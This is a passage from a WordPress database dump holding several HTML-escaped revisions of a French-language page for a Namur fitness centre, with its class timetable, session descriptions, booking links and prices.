class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 08:52:06', '2015-04-21 08:52:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(473, 1, '2015-04-21 08:51:37', '2015-04-21 08:51:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 08:51:37', '2015-04-21 08:51:37', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(468, 1, '2014-12-15 19:45:31', '2014-12-15 19:45:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td 